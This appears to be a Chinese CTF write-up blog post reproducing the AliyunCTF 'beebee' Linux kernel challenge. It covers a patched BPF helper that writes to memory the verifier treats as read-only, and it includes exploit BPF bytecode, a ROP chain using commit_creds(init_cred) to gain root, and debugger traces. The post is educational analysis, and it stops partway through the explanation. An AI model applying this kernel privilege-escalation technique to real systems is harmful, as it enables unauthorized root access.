Zj_W1nd's BLOG

aliyunctf-beebee复现

2025/06/08

https://bbs.kanxue.com/thread-285786.htm

题目内容

题目该给的都给了:一个内核,一个config,一个文件系统,一个启动脚本,还有一个告诉我们如何自己手动配置环境(估计是自己build可以调试)的readme。
alt text

1
2
3
4
5
6
7
## How to build your own kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.6.74.tar.xz
tar -xJf linux-6.6.74.tar.xz
cp beebee_Kconfig linux-6.6.74/.config
cd linux-6.6.74
patch -p1 < ../aliyunctf.patch
make bzImage -j`nproc`

这道题并没有什么内核模块,题目的本质就是一个patch.这个patch对linux内核的一些核心功能做了一点修改。启动参数:

1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64  \
-m 512M \
-smp 2 \
-kernel bzImage \
-append "console=ttyS0 quiet panic=-1 nokaslr sysctl.kernel.io_uring_disabled=1 sysctl.kernel.dmesg_restrict=1 sysctl.kernel.kptr_restrict=2 sysctl.kernel.unprivileged_bpf_disabled=0" \
-initrd rootfs.cpio \
-drive file=./flag,if=virtio,format=raw,readonly=on \
-nographic \
-net nic,model=e1000 \
-no-reboot \
-monitor /dev/null

可以看到,开了kptr,当时咨询了内核大手子,根据config来看基本绕过这个bpf直接提权是不现实了。另外关闭了kaslr,我们的利用路径变得简单了一点,在没有泄露原语的情况下直接rop应该就可以。

aliyunctf.patch

patch的内容放在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
diff --color -ruN origin/include/linux/bpf.h aliyunctf/include/linux/bpf.h
--- origin/include/linux/bpf.h 2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/include/linux/bpf.h 2025-01-24 03:44:01.494468038 -0600
@@ -3058,6 +3058,7 @@
extern const struct bpf_func_proto bpf_user_ringbuf_drain_proto;
extern const struct bpf_func_proto bpf_cgrp_storage_get_proto;
extern const struct bpf_func_proto bpf_cgrp_storage_delete_proto;
+extern const struct bpf_func_proto bpf_aliyunctf_xor_proto;

const struct bpf_func_proto *tracing_prog_func_proto(
enum bpf_func_id func_id, const struct bpf_prog *prog);
diff --color -ruN origin/include/uapi/linux/bpf.h aliyunctf/include/uapi/linux/bpf.h
--- origin/include/uapi/linux/bpf.h 2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/include/uapi/linux/bpf.h 2025-01-24 03:44:11.814636836 -0600
@@ -5881,6 +5881,7 @@
FN(user_ringbuf_drain, 209, ##ctx) \
FN(cgrp_storage_get, 210, ##ctx) \
FN(cgrp_storage_delete, 211, ##ctx) \
+ FN(aliyunctf_xor, 212, ##ctx) \
/* */

/* backwards-compatibility macros for users of __BPF_FUNC_MAPPER that don't
diff --color -ruN origin/kernel/bpf/helpers.c aliyunctf/kernel/bpf/helpers.c
--- origin/kernel/bpf/helpers.c 2025-01-23 10:21:19.000000000 -0600
+++ aliyunctf/kernel/bpf/helpers.c 2025-01-24 03:44:06.683490095 -0600
@@ -1745,6 +1745,28 @@
.arg3_type = ARG_CONST_ALLOC_SIZE_OR_ZERO,
};

+BPF_CALL_3(bpf_aliyunctf_xor, const char *, buf, size_t, buf_len, s64 *, res) {
+ s64 _res = 2025;
+
+ if (buf_len != sizeof(s64))
+ return -EINVAL;
+
+ _res ^= *(s64 *)buf;
+ *res = _res;
+
+ return 0;
+}
+
+const struct bpf_func_proto bpf_aliyunctf_xor_proto = {
+ .func = bpf_aliyunctf_xor,
+ .gpl_only = false,
+ .ret_type = RET_INTEGER,
+ .arg1_type = ARG_PTR_TO_MEM | MEM_RDONLY,
+ .arg2_type = ARG_CONST_SIZE,
+ .arg3_type = ARG_PTR_TO_FIXED_SIZE_MEM | MEM_UNINIT | MEM_ALIGNED | MEM_RDONLY,
+ .arg3_size = sizeof(s64),
+};
+
const struct bpf_func_proto bpf_get_current_task_proto __weak;
const struct bpf_func_proto bpf_get_current_task_btf_proto __weak;
const struct bpf_func_proto bpf_probe_read_user_proto __weak;
@@ -1801,6 +1823,8 @@
return &bpf_strtol_proto;
case BPF_FUNC_strtoul:
return &bpf_strtoul_proto;
+ case BPF_FUNC_aliyunctf_xor:
+ return &bpf_aliyunctf_xor_proto;
default:
break;
}

能看到它注册了一些新的结构体和函数,并且似乎提供了一次内核空间写入的机会。那我们怎么用呢?下面就得看下ebpf是什么了。

ebpf是什么?

https://ebpf.io/what-is-ebpf/

ebpf,全称extended Berkeley Packet Filter,是从bpf进化而来的,一个在linux内核中运行的“虚拟机”,它能访问内核功能和内存的子集,在所有的发行版中都默认开启。

原理?

这个东西比较独特,有些类似java(对没有学过java的本人来说第一次见理解确实有难度)。整个bpf虚拟机有自己的指令集,用户态用编译器将自己编写的C程序编译成.bpf字节码程序,然后这个东西会用bpf调用加载入内核,经过一次安全check之后(kernel/bpf/verifier.c),用jit编译成真正的可执行机器码,并且hook到一些内核的运行路径上。这些代码的数据会写入ringbuffers或者ebpf单独管理的kv maps,用户空间从中读取结果。
ebpf

辅助函数-漏洞的本质

ebpf提供了一套可以扩展功能的模式,通过struct bpf_func_proto描述定义。

这些辅助函数的逻辑是由编写者自定义的,这些辅助函数的C代码可以在ebpf中去调用————不出意外的话就要出意外了。首先,所有的检查都是针对bpf字节码的,对于内存的权限控制是由虚拟机管理而非操作系统,那么就产生了这道题。通过辅助函数的恶意操作写入一些ebpf中原本认为只读的区域(C代码写,不会被check),在完成后ebpf就不会对原先只读的区域再check,造成UAF或更大的危险。换言之,bpf的检查器跟踪不到辅助函数的内部逻辑,只会根据我们告诉它的proto在bpf程序真正执行前做check这道题用一个evil patch欺骗了bpf的verifier,就达到了攻击的目的。

利用过程

在patch中定义了一个辅助函数aliyunctf_xor,接收三个参数,一个buf,buf_len还有一个64位的指针res。函数内会将传入的buffer内的8字节和2025做异或,然后写入第三参数的位置。乍一看似乎是一个8字节的任意地址写,但是在proto中,arg3被声明为了只读。

漏洞利用:ebpf指令编写

ebpf的汇编字节码是基于risc指令集的。linux的example里有一个用宏打包好的,可读性强一点的能让我们在C中编写ebpf汇编的头文件.

r0返回值,r1-5传参,r6-9通用,r10只读堆栈寄存器。8bit的操作码(5-3 末尾3bit表示指令类型,访存/运算/跳转,高5位表示一个类型下面的不同的具体指令,划分方法也不同),关于指令格式和操作方法的内容,可以参考这里

这些内容被送到内核后会被编译成可以实际运行的本机架构指令放在一个内核地址空间中。

官方wp做了什么?

我们倒着看,最后是一个简单的ROP。先看最后的ROP做了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Prepare data for ROP chain
char data_buf[4096] = {};
struct __sk_buff md = {};

size_t *rop_chain = (size_t *)&data_buf[30];
*rop_chain++ = 0xffffffff8130d3de; // pop rdi; ret;
*rop_chain++ = 0xffffffff82a52fa0; // &init_cred
*rop_chain++ = 0xffffffff810c3c50; // commit_creds
*rop_chain++ = 0xffffffff8108e620; // vfork

// Run prog
union bpf_attr test_run_attr = {
.test.data_size_in = 1024,
.test.data_in = (uint64_t)&data_buf,
.test.ctx_size_in = sizeof(md),
.test.ctx_in = (uint64_t)&md,
};

test_run_attr.prog_type = BPF_PROG_TEST_RUN;
test_run_attr.test.prog_fd = prog_fd;
int ret = SYSCHK(syscall(SYS_bpf, BPF_PROG_TEST_RUN, &test_run_attr,
sizeof(test_run_attr)));

close(prog_fd);

// Get flag
if (!getuid())
system("cat /flag && whoami && id");

最后只是用了syscall(bpf),加载了一段内容,标记为了PROG_TEST_RUN,这个标记是允许不hook任何执行流来执行bpf代码,这里将attr.test.prog_fd配置成了上文中自己写的一段bpf代码,将attr.test.data_in配置成了在30偏移处含有rop链的一个buffer。

1
2
3
pwndbg> vmmap-explore 0xffffffffc00006af
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffffffffc0000000 0xffffffffc0200000 rwxp 200000 0 <explored_ffffffffc0000>

在bpf_skb_load_bytes断点跟进,在第二个ret,也就是从bpf_skb_load_Bytes出来之后,触发了rop:

1
2
3
4
5
6
00:0000│ rsp 0xffffc90000213cd8 —▸ 0xffffffff8130d3de (fifo_open+206) ◂— 0xffffffff8130d3de
01:0008│ 0xffffc90000213ce0 —▸ 0xffffffff82a52fa0 (init_cred) ◂— 0xffffffff82a52fa0
02:0010│ 0xffffc90000213ce8 —▸ 0xffffffff810c3c50 (commit_creds) ◂— 0xffffffff810c3c50
03:0018│ 0xffffc90000213cf0 —▸ 0xffffffff8108e620 (__x64_sys_vfork) ◂— 0xffffffff8108e620
04:0020│ 0xffffc90000213cf8 ◂— 0xffffc90000213cf8
... ↓ 3 skipped

那么现在的问题是,这个ret的执行流来自哪里?为什么这里会被写入?

我们做一个对比程序,把rop链注释掉来观察。首先是ebpf risc汇编代码究竟编译成了什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// Setup evil bpf prog
struct bpf_insn prog[] = {
// ? R9 = CTX 一般的起手
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// ? R3 = ELEM
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0), // stack
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // R2 = stack ptr
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16), // R2 = stack ptr - 16
BPF_LD_MAP_FD(BPF_REG_1, array_map_fd), //
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(), // ? Remove or_null tag
BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),

// ? R6 = P1 (scalar)
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),

// ? R1(buf) = ptr to <value>, which will be set at read-only map
BPF_ST_MEM(BPF_W, BPF_REG_10, -0x18, 2025 ^ (0x80)), // ! 256 bytes
BPF_ST_MEM(BPF_W, BPF_REG_10, -0x14, 0),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),

// ? R2(buf_size) = 8
BPF_MOV64_IMM(BPF_REG_2, 8),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_aliyunctf_xor),

// 布局bpf_skb_load_bytes的参数
// ? R1 = CTX
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),

// ? R2 = anything
BPF_MOV64_IMM(BPF_REG_2, 0),

// ? R3 = stack
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8),

// ? R4 = size (previously as P1 (scalar), now changed to evil value)
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_7, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),

BPF_EXIT_INSN()}; // key,这条指令会被JIT编译成

下面是所有的risc代码转成的机器码内容,它显然是存在一些编译优化和代码复用的机制在。但是我们能够看到,转x86_64之后变动不是太大,函数调用基本上也是call地址,这个test程序片段的退出最终也是靠的671处的ret指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
=> 0xffffffffc0000670:  endbr64
0xffffffffc0000674: nop DWORD PTR [rax+rax*1+0x0]
0xffffffffc0000679: xchg ax,ax
0xffffffffc000067b: push rbp
0xffffffffc000067c: mov rbp,rsp
0xffffffffc000067f: endbr64
0xffffffffc0000683: sub rsp,0x18
0xffffffffc000068a: push rbx
0xffffffffc000068b: push r13
0xffffffffc000068d: push r15
0xffffffffc000068f: mov r15,rdi
0xffffffffc0000692: mov QWORD PTR [rbp-0x10],0x0
0xffffffffc000069a: lfence
0xffffffffc000069d: mov rsi,rbp
0xffffffffc00006a0: add rsi,0xfffffffffffffff0
0xffffffffc00006a4: movabs rdi,0xffff8880039c2600
0xffffffffc00006ae: add rdi,0x150
0xffffffffc00006b5: mov eax,DWORD PTR [rsi+0x0]
0xffffffffc00006b8: cmp rax,0x1
0xffffffffc00006bc: jae 0xffffffffc00006ca
0xffffffffc00006be: and eax,0x0
0xffffffffc00006c1: shl rax,0x3
0xffffffffc00006c5: add rax,rdi
0xffffffffc00006c8: jmp 0xffffffffc00006cc
0xffffffffc00006ca: xor eax,eax
0xffffffffc00006cc: test rax,rax
0xffffffffc00006cf: jne 0xffffffffc00006d8
0xffffffffc00006d1: pop r15
0xffffffffc00006d3: pop r13
0xffffffffc00006d5: pop rbx
0xffffffffc00006d6: leave
0xffffffffc00006d7: ret
0xffffffffc00006d8: mov rdx,rax
0xffffffffc00006db: mov r13,rax
0xffffffffc00006de: mov rbx,QWORD PTR [r13+0x0]
0xffffffffc00006e2: mov DWORD PTR [rbp-0x18],0x769
0xffffffffc00006e9: lfence
0xffffffffc00006ec: mov DWORD PTR [rbp-0x14],0x0
0xffffffffc00006f3: lfence
0xffffffffc00006f6: mov rdi,rbp
0xffffffffc00006f9: add rdi,0xffffffffffffffe8
0xffffffffc00006fd: mov esi,0x8
0xffffffffc0000702: call 0xffffffff81208350 <bpf_aliyunctf_xor>
0xffffffffc0000707: mov rdi,r15
0xffffffffc000070a: xor esi,esi
0xffffffffc000070c: mov rdx,rbp
0xffffffffc000070f: add rdx,0xfffffffffffffff8
0xffffffffc0000713: mov rcx,QWORD PTR [r13+0x0]
0xffffffffc0000717: call 0xffffffff81c138d0 <bpf_skb_load_bytes>
0xffffffffc000071c: jmp 0xffffffffc00006d1

从bpf_test_run+351开始进入我们的程序。我们从bpf_test_run打断点开始跟踪,首先第一个点是这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0xffffffff81c513df <bpf_test_run+351>    call   0xffffffff81f49480          <__x86_indirect_thunk_array>
rdi: 0xffff88800487bb00 ◂— 0
rsi: 0xffffc9000004d048 ◂— 0x19bf
rdx: 0
rcx: 0x1c

0xffffffff81c513e4 <bpf_test_run+356> mov r13d, eax
0xffffffff81c513e7 <bpf_test_run+359> jmp 0xffffffff81c51382 <bpf_test_run+258>

0xffffffff81c51382 <bpf_test_run+258> mov dword ptr [r14], r13d
0xffffffff81c51385 <bpf_test_run+261> mov rdi, qword ptr [rsp + 0x10]
0xffffffff81c5138a <bpf_test_run+266> mov esi, 0x200 ESI => 0x200
────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
In file: /run/media/zjw1nd/Data/ctf/2025AliyunCTF/beebee_8a1bd1fde6215e85ebd1123bcf306bcdcbc74ec34fad1f0d1974fe6ff7590b45.tar/linux-6.6.74/include/linux/bpf.h:1213
1208 static __always_inline __nocfi unsigned int bpf_dispatcher_nop_func(
1209 const void *ctx,
1210 const struct bpf_insn *insnsi,
1211 bpf_func_t bpf_func)
1212 {
1213 return bpf_func(ctx, insnsi);
1214 }

这里

然后他会用一个很巧妙的跳转来到JIT编译的代码处:

1
2
3
4
5
  0xffffffff81f49480 <__x86_indirect_thunk_array>       call   0xffffffff81f49486          <__x86_indirect_thunk_array+6>

0xffffffff81f49485 <__x86_indirect_thunk_array+5> int3
0xffffffff81f49486 <__x86_indirect_thunk_array+6> mov qword ptr [rsp], rax [0xffffc90000207cd0] <= 0xffffffffc0000670 ◂— endbr64
0xffffffff81f4948a <__x86_indirect_thunk_array+10> ret

用一个mov [rsp] rax;ret完成了一次更加合法的call rax。而rax此时就是我们输入的代码位置了,从0xffffffffc0000670开始。到这里我们大概能明白这套东西的运作流程。

那它的栈帧又为什么会是刚刚指定的内容呢?

核心的bpf字节码程序

bpf字节码程序一共调用了三个函数,依次是bpf_map_lookup_elem,aliyunctf_xorskb_load_bytes

整个exp是这样的:先生成了一个只读的map{0:1}。

CATALOG
  1. 1. 题目内容
    1. 1.1. aliyunctf.patch
  2. 2. ebpf是什么?
    1. 2.1. 原理?
    2. 2.2. 辅助函数-漏洞的本质
  3. 3. 利用过程
    1. 3.1. 漏洞利用:ebpf指令编写
    2. 3.2. 官方wp做了什么?
    3. 3.3. 核心的bpf字节码程序